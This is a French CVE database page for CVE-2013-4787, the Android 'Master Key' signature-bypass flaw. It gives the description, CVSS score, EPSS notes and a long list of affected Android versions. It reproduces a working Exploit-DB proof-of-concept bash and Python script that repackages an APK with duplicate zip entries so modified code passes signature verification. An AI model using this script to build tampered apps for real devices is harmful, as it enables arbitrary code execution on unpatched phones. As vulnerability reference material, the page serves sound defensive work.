CVE-2013-4787
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
Android 1.6 Donut through 4.2 Jelly Bean does not properly check cryptographic signatures for applications, which allows attackers to execute arbitrary code via an application package file (APK) that is modified in a way that does not violate the cryptographic signature, probably involving multiple entries in a Zip file with the same name in which one entry is validated but the other entry is installed, aka Android security bug 8219321 and the "Master Key" vulnerability.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Category : Cryptographic Issues Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | [email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 38627
Date de publication : 2013-07-02 22h00 +00:00
Auteur : Bluebox Security
EDB Vérifié : Yes
#source: https://www.securityfocus.com/bid/60952/info
#
#Google Android is prone to a remote security-bypass vulnerability.
#
#Attackers can exploit this issue to bypass certain security restrictions to perform unauthorized actions. This may aid in further attacks.
#!/bin/bash
# PoC for Android bug 8219321 by @pof
# +info: https://jira.cyanogenmod.org/browse/CYAN-1602
if [ -z $1 ]; then echo "Usage: $0 <file.apk>" ; exit 1 ; fi
APK=$1
rm -r out out.apk tmp 2>/dev/null
java -jar apktool.jar d $APK out
#apktool d $APK out
echo "Modify files, when done type 'exit'"
cd out
bash
cd ..
java -jar apktool.jar b out out.apk
#apktool b out out.apk
mkdir tmp
cd tmp/
unzip ../$APK
mv ../out.apk .
cat >poc.py <<-EOF
#!/usr/bin/python
import zipfile
import sys
z = zipfile.ZipFile(sys.argv[1], "a")
z.write(sys.argv[2])
z.close()
EOF
chmod 755 poc.py
for f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; done
cp out.apk ../evil-$APK
cd ..
rm -rf tmp out
echo "Modified APK: evil-$APK"
Products Mentioned
Configuraton 0
Google>>Android >> Version 1.6
- Google>>Android >> Version 1.6 (Open CPE detail)
Google>>Android >> Version 2.0
- Google>>Android >> Version 2.0 (Open CPE detail)
Google>>Android >> Version 2.0.1
- Google>>Android >> Version 2.0.1 (Open CPE detail)
Google>>Android >> Version 2.1
- Google>>Android >> Version 2.1 (Open CPE detail)
Google>>Android >> Version 2.2
- Google>>Android >> Version 2.2 (Open CPE detail)
- Google>>Android >> Version 2.2 (Open CPE detail)
Google>>Android >> Version 2.2
- Google>>Android >> Version 2.2 (Open CPE detail)
Google>>Android >> Version 2.2.1
- Google>>Android >> Version 2.2.1 (Open CPE detail)
Google>>Android >> Version 2.2.2
- Google>>Android >> Version 2.2.2 (Open CPE detail)
Google>>Android >> Version 2.2.3
- Google>>Android >> Version 2.2.3 (Open CPE detail)
Google>>Android >> Version 2.3
- Google>>Android >> Version 2.3 (Open CPE detail)
- Google>>Android >> Version 2.3 (Open CPE detail)
Google>>Android >> Version 2.3
- Google>>Android >> Version 2.3 (Open CPE detail)
Google>>Android >> Version 2.3.1
- Google>>Android >> Version 2.3.1 (Open CPE detail)
Google>>Android >> Version 2.3.2
- Google>>Android >> Version 2.3.2 (Open CPE detail)
Google>>Android >> Version 2.3.3
- Google>>Android >> Version 2.3.3 (Open CPE detail)
Google>>Android >> Version 2.3.4
- Google>>Android >> Version 2.3.4 (Open CPE detail)
Google>>Android >> Version 2.3.5
- Google>>Android >> Version 2.3.5 (Open CPE detail)
Google>>Android >> Version 2.3.6
- Google>>Android >> Version 2.3.6 (Open CPE detail)
Google>>Android >> Version 2.3.7
- Google>>Android >> Version 2.3.7 (Open CPE detail)
Google>>Android >> Version 3.0
- Google>>Android >> Version 3.0 (Open CPE detail)
Google>>Android >> Version 3.1
- Google>>Android >> Version 3.1 (Open CPE detail)
Google>>Android >> Version 3.2
- Google>>Android >> Version 3.2 (Open CPE detail)
Google>>Android >> Version 3.2.1
- Google>>Android >> Version 3.2.1 (Open CPE detail)
Google>>Android >> Version 3.2.2
- Google>>Android >> Version 3.2.2 (Open CPE detail)
Google>>Android >> Version 3.2.4
- Google>>Android >> Version 3.2.4 (Open CPE detail)
Google>>Android >> Version 3.2.6
- Google>>Android >> Version 3.2.6 (Open CPE detail)
Google>>Android >> Version 4.0
- Google>>Android >> Version 4.0 (Open CPE detail)
Google>>Android >> Version 4.0.1
- Google>>Android >> Version 4.0.1 (Open CPE detail)
Google>>Android >> Version 4.0.2
- Google>>Android >> Version 4.0.2 (Open CPE detail)
Google>>Android >> Version 4.0.3
- Google>>Android >> Version 4.0.3 (Open CPE detail)
Google>>Android >> Version 4.0.4
- Google>>Android >> Version 4.0.4 (Open CPE detail)
Google>>Android >> Version 4.1
- Google>>Android >> Version 4.1 (Open CPE detail)
Google>>Android >> Version 4.1.2
- Google>>Android >> Version 4.1.2 (Open CPE detail)
Google>>Android >> Version 4.2
- Google>>Android >> Version 4.2 (Open CPE detail)
Références
2025©
tesweb SA
